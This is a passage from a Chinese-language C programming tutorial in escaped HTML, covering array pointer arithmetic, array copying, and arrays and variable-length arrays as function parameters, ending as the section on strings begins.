4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,将某个数组成员的地址,减去数组起始地址,就可以知道,当前成员与起始地址之间有多少个成员。\u003c/p\u003e\u003cp\u003e对于多维数组,数组指针的加减法对于不同维度,含义是不一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e4\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针指向 arr[1]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earr + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针指向 arr[0][1]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003earr\u003c/code\u003e是一个二维数组,\u003ccode\u003earr + 1\u003c/code\u003e是将指针移动到第一维数组的下一个成员,即\u003ccode\u003earr[1]\u003c/code\u003e。由于每个第一维的成员,本身都包含另一个数组,即\u003ccode\u003earr[0]\u003c/code\u003e是一个指向第二维数组的指针,所以\u003ccode\u003earr[0] + 1\u003c/code\u003e的含义是将指针移动到第二维数组的下一个成员,即\u003ccode\u003earr[0][1]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e同一个数组的两个成员的指针相减时,返回它们之间的距离。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u0026amp;a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* q = \u0026amp;a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, p - q); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, q - p); \u003cspan class=\"comment\"\u003e// -4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ep\u003c/code\u003e和\u003ccode\u003eq\u003c/code\u003e分别是数组5号位置和1号位置的指针,它们相减等于4或-4。\u003c/p\u003e\u003ch3 id=\"数组的复制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E7%9A%84%E5%A4%8D%E5%88%B6\" class=\"headerlink\" title=\"数组的复制\"\u003e\u003c/a\u003e数组的复制\u003c/h3\u003e\u003cp\u003e由于数组名是指针,所以复制数组不能简单地复制数组名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e3\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = b;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的写法,结果不是将数组\u003ccode\u003eb\u003c/code\u003e复制给数组\u003ccode\u003ea\u003c/code\u003e,而是让\u003ccode\u003ea\u003c/code\u003e和\u003ccode\u003eb\u003c/code\u003e指向同一个数组。\u003c/p\u003e\u003cp\u003e复制数组最简单的方法,还是使用循环,将数组元素逐个进行复制。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; N; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a[i] = b[i];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过将数组\u003ccode\u003eb\u003c/code\u003e的成员逐个复制给数组\u003ccode\u003ea\u003c/code\u003e,从而实现数组的赋值。\u003c/p\u003e\u003cp\u003e另一种方法是使用\u003ccode\u003ememcpy()\u003c/code\u003e函数(定义在头文件\u003ccode\u003estring.h\u003c/code\u003e),直接把数组所在的那一段内存,再复制一份。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(a, b, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(b));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,将数组\u003ccode\u003eb\u003c/code\u003e所在的那段内存,复制给数组\u003ccode\u003ea\u003c/code\u003e。这种方法要比循环复制数组成员要快。\u003c/p\u003e\u003ch3 id=\"作为函数的参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BD%9C%E4%B8%BA%E5%87%BD%E6%95%B0%E7%9A%84%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"作为函数的参数\"\u003e\u003c/a\u003e作为函数的参数\u003c/h3\u003e\u003ch4 id=\"声明参数数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A3%B0%E6%98%8E%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"声明参数数组\"\u003e\u003c/a\u003e声明参数数组\u003c/h4\u003e\u003cp\u003e数组作为函数的参数,一般会同时传入数组名和数组长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(a, \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003esum_array()\u003c/code\u003e的第一个参数是数组本身,也就是数组名,第二个参数是数组长度。\u003c/p\u003e\u003cp\u003e由于数组名就是一个指针,如果只传数组名,那么函数只知道数组开始的地址,不知道结束的地址,所以才需要把数组长度也一起传入。\u003c/p\u003e\u003cp\u003e如果函数的参数是多维数组,那么除了第一维的长度可以当作参数传入函数,其他维的长度需要写入函数的定义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[][\u003cspan class=\"number\"\u003e4\u003c/span\u003e], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e11\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(a, \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003esum_array()\u003c/code\u003e的参数是一个二维数组。第一个参数是数组本身(\u003ccode\u003ea[][4]\u003c/code\u003e),这时可以不写第一维的长度,因为它作为第二个参数,会传入函数,但是一定要写第二维的长度\u003ccode\u003e4\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这是因为函数内部拿到的,只是数组的起始地址\u003ccode\u003ea\u003c/code\u003e,以及第一维的成员数量\u003ccode\u003e2\u003c/code\u003e。如果要正确计算数组的结束地址,还必须知道第一维每个成员的字节长度。写成\u003ccode\u003eint a[][4]\u003c/code\u003e,编译器就知道了,第一维每个成员本身也是一个数组,里面包含了4个整数,所以每个成员的字节长度就是\u003ccode\u003e4 * sizeof(int)\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"变长数组作为参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%95%BF%E6%95%B0%E7%BB%84%E4%BD%9C%E4%B8%BA%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"变长数组作为参数\"\u003e\u003c/a\u003e变长数组作为参数\u003c/h4\u003e\u003cp\u003e变长数组作为函数参数时,写法略有不同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[n])\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(\u003cspan class=\"number\"\u003e4\u003c/span\u003e, a);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ea[n]\u003c/code\u003e是一个变长数组,它的长度取决于变量\u003ccode\u003en\u003c/code\u003e的值,只有运行时才能知道。所以,变量\u003ccode\u003en\u003c/code\u003e作为参数时,顺序一定要在变长数组前面,这样运行时才能确定数组\u003ccode\u003ea[n]\u003c/code\u003e的长度,否则就会报错。\u003c/p\u003e\u003cp\u003e因为函数原型可以省略参数名,所以变长数组的原型中,可以使用\u003ccode\u003e*\u003c/code\u003e代替变量名,也可以省略变量名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e [*])\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e [])\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种变长函数的原型写法,都是合法的。\u003c/p\u003e\u003cp\u003e变长数组作为函数参数有一个好处,就是多维数组的参数声明,可以把后面的维度省掉了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 原来的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[][\u003cspan class=\"number\"\u003e4\u003c/span\u003e], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 变长数组的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003eint\u003c/span\u003e m, \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[n][m])\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003esum_array()\u003c/code\u003e的参数是一个多维数组,按照原来的写法,一定要声明第二维的长度。但是使用变长数组的写法,就不用声明第二维长度了,因为它可以作为参数传入函数。\u003c/p\u003e\u003ch4 id=\"数组字面量作为参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E5%AD%97%E9%9D%A2%E9%87%8F%E4%BD%9C%E4%B8%BA%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"数组字面量作为参数\"\u003e\u003c/a\u003e数组字面量作为参数\u003c/h4\u003e\u003cp\u003eC 语言允许将数组字面量作为参数,传入函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数组变量作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(a, \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数组字面量作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array((\u003cspan class=\"type\"\u003eint\u003c/span\u003e []){\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e}, \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,两种写法是等价的。第二种写法省掉了数组变量的声明,直接将数组字面量传入函数。\u003ccode\u003e{2, 3, 4, 5}\u003c/code\u003e是数组值的字面量,\u003ccode\u003e(int [])\u003c/code\u003e类似于强制的类型转换,告诉编译器怎么理解这组值。\u003c/p\u003e\u003ch2 id=\"字符串\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2\" class=\"headerlink\" title=\"字符串\"\u003e\u003c/a\u003e字符串\u003c/h2\u003e\u003ch3 id=\"简介-4\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-4\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言没有单独的字符串类型,字符串被当作字符数组,即\u003ccode\u003echar\u003c/code\u003e类型的数组。比如,字符串“Hello”是当作数组\u003ccode\u003e{\u0026#39;H\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;o\u0026#39;}\u003c/code\u003e处理的。\u003c/p\u003e\u003cp\u003e编译器会给数组分配一段连续内存,所有字符储存在相邻的内存单元之中。在字符串结尾,C 